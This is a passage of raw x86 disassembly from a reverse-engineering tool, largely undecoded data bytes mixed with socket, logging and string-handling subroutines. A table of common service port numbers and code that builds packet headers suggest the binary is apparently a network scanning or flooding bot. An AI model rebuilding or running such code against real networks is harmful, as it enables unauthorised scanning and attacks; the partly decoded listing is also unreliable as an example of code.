		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022FAFh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 1AE89000h, 2B022AB5h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB978h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	6068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C8Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 90006A14h, 2FAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
		dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h,	4CBA1415h
		dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
		dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1803Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
		dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
		dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
		dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
		dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h,	7A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
		dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h,	7C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED60h, 0FFF475FFh,	4CBA3815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0B01FE8FCh, 2B90022Ah, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 0A932E856h
		dd 5F90022Fh
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB97C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 22E8EC45h, 90716A02h, 6AEC4D8Dh
		dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h,	0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA5415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
		dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
		dd 0A366286Ah, 4CF194h,	0B9D415FFh, 0D80004Ch, 4CF198h
		dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h,	0A3004CBAh
		dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
		dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
		dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
		dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
		dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h,	4CF1D01Dh
		dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
		dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
		dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
		dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
		dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
		dd 0BF004CF1h, 4CF1D4h,	9A1D8966h, 66004CF1h, 0F1B41D89h
		dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
		dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
		dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h,	286A5300h
		dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 72E890FFh, 2B022AA9h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 228AA5Bh
		dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27E0000h
		nop
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F6C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dw 89E8h
; ---------------------------------------------------------------------------
		mov	al, ds:5F90022Fh
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	9F6EE856h
		dd 6890022Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 9F02E890h, 646A022Fh, 0A585E890h,	0FF330228h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 0A52DE890h, 0A6A0228h, 0FF549DE8h, 59C085FFh, 858DA375h
		dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh
		dd 22F9E40h
		db 90h
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
